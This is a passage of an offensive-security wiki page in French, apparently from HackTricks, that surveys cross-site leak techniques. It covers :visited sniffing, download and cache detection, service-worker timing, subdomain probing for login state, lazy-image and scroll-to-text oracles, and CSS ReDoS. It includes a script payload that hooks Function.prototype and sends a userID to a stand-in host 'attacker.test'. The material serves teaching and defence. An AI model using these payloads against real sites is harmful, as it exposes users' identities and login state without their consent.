Le sélecteur CSS :visited est utilisé pour styliser différemment les URL déjà visitées par l’utilisateur. Par le passé, la méthode getComputedStyle() pouvait être employée pour identifier ces différences de style. Cependant, les navigateurs modernes ont introduit des mesures de sécurité empêchant cette méthode de révéler l’état d’un lien. Ces mesures incluent le retour systématique du style calculé comme si le lien était visité et la restriction des styles pouvant être appliqués via :visited.

Malgré ces restrictions, il est possible de discerner indirectement l’état visité d’un lien. Une technique consiste à tromper l’utilisateur pour qu’il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété mix-blend-mode. Cette propriété permet de mélanger les éléments avec leur arrière-plan, potentiellement révélant l’état visité lors d’une interaction utilisateur.

De plus, la détection peut être réalisée sans interaction utilisateur en exploitant les temps de rendu des liens. Comme les navigateurs peuvent rendre différemment les liens visited vs unvisited, cela peut introduire une différence de temps mesurable. Un PoC mentionné dans un bug Chromium démontre cette technique en utilisant plusieurs liens pour amplifier la différence temporelle, rendant l’état visité détectable par analyse de timing.

Pour plus de détails sur ces propriétés et méthodes, consultez leur documentation :

ContentDocument X-Frame Leak

Dans Chrome, si une page avec l’en-tête X-Frame-Options défini sur “deny” ou “same-origin” est embarquée comme objet, une page d’erreur apparaît. Chrome retourne de façon unique un document vide (au lieu de null) pour la propriété contentDocument de cet objet, contrairement aux iframes ou à d’autres navigateurs. Des attaquants pourraient exploiter ceci en détectant le document vide, ce qui peut potentiellement révéler des informations sur l’état de l’utilisateur, surtout si des développeurs configurent de manière inconsistante l’en-tête X-Frame-Options, en oubliant souvent les pages d’erreur. La sensibilisation et l’application cohérente des en-têtes de sécurité sont cruciales pour prévenir ce type de leak.

Download Detection

L’en-tête Content-Disposition, spécifiquement Content-Disposition: attachment, ordonne au navigateur de télécharger le contenu plutôt que de l’afficher inline. Ce comportement peut être exploité pour détecter si un utilisateur a accès à une page qui déclenche un téléchargement de fichier. Dans les navigateurs basés sur Chromium, il existe plusieurs techniques pour détecter ce comportement :

  1. Surveillance de la download bar:
  • Lorsqu’un fichier est téléchargé dans les navigateurs basés sur Chromium, une download bar apparaît en bas de la fenêtre.
  • En surveillant les changements de la hauteur de la fenêtre, un attaquant peut déduire l’apparition de la download bar, suggérant qu’un téléchargement a été initié.
  1. Navigation de téléchargement avec iframes:
  • Quand une page déclenche un téléchargement via Content-Disposition: attachment, cela ne provoque pas d’événement de navigation.
  • En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement (aucune navigation) ou non.
  1. Navigation de téléchargement sans iframes:
  • Similaire à la technique iframe, mais en utilisant window.open au lieu d’une iframe.
  • Surveiller les événements de navigation dans la nouvelle fenêtre ouverte peut révéler si un téléchargement a été déclenché (pas de navigation) ou si le contenu est affiché inline (navigation).

Dans des scénarios où seuls des utilisateurs authentifiés peuvent déclencher ces téléchargements, ces techniques peuvent être utilisées pour inférer indirectement l’état d’authentification de l’utilisateur en fonction de la réponse du navigateur à la requête de téléchargement.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

Si un site example.com inclut une ressource depuis *.example.com/resource alors cette ressource aura la même clé de cache que si la ressource était demandée directement via une navigation top-level. Cela s’explique par le fait que la clé de cache est composée du top-level eTLD+1 et du frame eTLD+1.

Parce que l’accès au cache est plus rapide que le chargement d’une ressource, il est possible d’essayer de changer la location d’une page et d’annuler la navigation après 20ms (par exemple). Si l’origine a changé après l’arrêt, cela signifie que la ressource était en cache.
On peut aussi simplement envoyer un fetch vers la page potentiellement en cache et mesurer le temps que cela prend.

Manual Redirect

Fetch with AbortController

Utilisez fetch et setTimeout avec un AbortController pour à la fois détecter si la resource est cached et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus s’effectue sans mettre en cache du nouveau contenu.

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Pré-définir Function.prototype.default et Function.prototype.__esModule = 1 avant de charger un module afin que son export default appelle votre hook (par ex. reçoit {userID: ...}), vous permettant de lire des valeurs scoped au module sans recourir au timing ou au brute force.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

La requête elle-même devient aussi un oracle d’état de connexion si le script ne se charge que pour les utilisateurs authentifiés.

Service Workers

Dans ce scénario, l’attaquant prend l’initiative d’enregistrer un service worker sur l’un de ses domaines, spécifiquement “attacker.com”. Ensuite, l’attaquant ouvre une nouvelle fenêtre du site cible depuis le document principal et ordonne au service worker de démarrer un chronomètre. Pendant que la nouvelle fenêtre commence à se charger, l’attaquant navigue la référence obtenue à l’étape précédente vers une page gérée par le service worker.

À l’arrivée de la requête initiée à l’étape précédente, le service worker répond avec un code d’état 204 (No Content), mettant effectivement fin à la navigation. À ce moment-là, le service worker récupère une mesure depuis le chronomètre démarré plus tôt à l’étape deux. Cette mesure est influencée par la durée du JavaScript provoquant des retards dans le processus de navigation.

Warning

Dans un timing d’exécution, il est possible d’éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Méthodes d’inclusion: éléments HTML (script), Frames
  • Différence détectable: succès de chargement DNS/HTTP, changements CORB/en-têtes
  • Résumé : Si des identifiants résident dans les labels de sous-domaine (par ex., www.<username>.sb.facebook.com), demander des ressources sur des hôtes candidats et traiter onload vs onerror/timeouts comme un booléen. Combiner avec des scripts accessibles uniquement en cas de connexion (par ex., /signals/iwl.js) pour brute-forcer des noms d’utilisateur et vérifier l’authentification sur les propriétés associées.
  • Note : Les signaux peuvent être amplifiés avec différents types d’inclusion (script, iframe, object) pour détecter X-Frame-Options, CORB ou des différences de redirection selon le candidat.

With HTML or Re Injection

Vous trouverez ici des techniques pour exfiltrer des informations depuis un HTML cross-origin en injectant du contenu HTML. Ces techniques sont intéressantes dans les cas où, pour une raison quelconque, vous pouvez injecter du HTML mais pas du code JS.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Si vous devez exfiltrer du contenu et que vous pouvez ajouter du HTML avant le secret vous devriez vérifier les common dangling markup techniques.
Cependant, si pour une raison quelconque vous DEVEZ le faire caractère par caractère (peut-être que la communication se fait via un hit de cache) vous pouvez utiliser cette astuce.

Images en HTML ont un attribut “loading” dont la valeur peut être “lazy”. Dans ce cas, l’image sera chargée lorsqu’elle sera visible et non pendant le chargement de la page :

<img src=/something loading=lazy >

Donc, ce que vous pouvez faire est de ajouter beaucoup de caractères inutiles (Par exemple des milliers de “W”) pour remplir la page web avant le secret ou ajouter quelque chose comme <br><canvas height="1850px"></canvas><br>.
Ensuite, par exemple, si notre injection apparaît avant le flag, l’image serait chargée, mais si elle apparaît après le flag, le flag + les caractères inutiles empêcheront son chargement (vous devrez ajuster la quantité de caractères inutiles à placer). C’est ce qui s’est passé dans this writeup.

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

However, you make the bot access the page with something like

#:~:text=SECR

Donc, la page web sera quelque chose comme : https://victim.com/post.html#:~:text=SECR

Où post.html contient les caractères superflus de l’attaquant et une lazy load image, puis le secret du bot est ajouté.

Ce texte forcera le bot à accéder à n’importe quel texte de la page contenant le texte SECR. Comme ce texte est le secret et se trouve juste sous l’image, l’image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour exfiltrer le secret caractère par caractère.

Un exemple de code pour exploiter ceci : https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

Si il n’est pas possible de charger une image externe qui pourrait indiquer à l’attaquant que l’image a été chargée, une autre option est d’essayer de deviner le caractère plusieurs fois et de mesurer cela. Si l’image est chargée, toutes les requêtes prendraient plus de temps que si l’image n’est pas chargée. C’est ce qui a été utilisé dans la solution of this writeup résumée ici :

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Si jQuery(location.hash) est utilisé, il est possible de déterminer via le timing si du contenu HTML existe, car si le sélecteur main[id='site-main'] ne correspond pas il n’a pas besoin de vérifier le reste des sélecteurs :

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Défenses

Des mesures d’atténuation sont recommandées dans https://xsinator.com/paper.pdf ainsi que dans chaque section du wiki https://xsleaks.dev/. Consultez ces ressources pour obtenir plus d’informations sur la manière de se protéger contre ces techniques.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks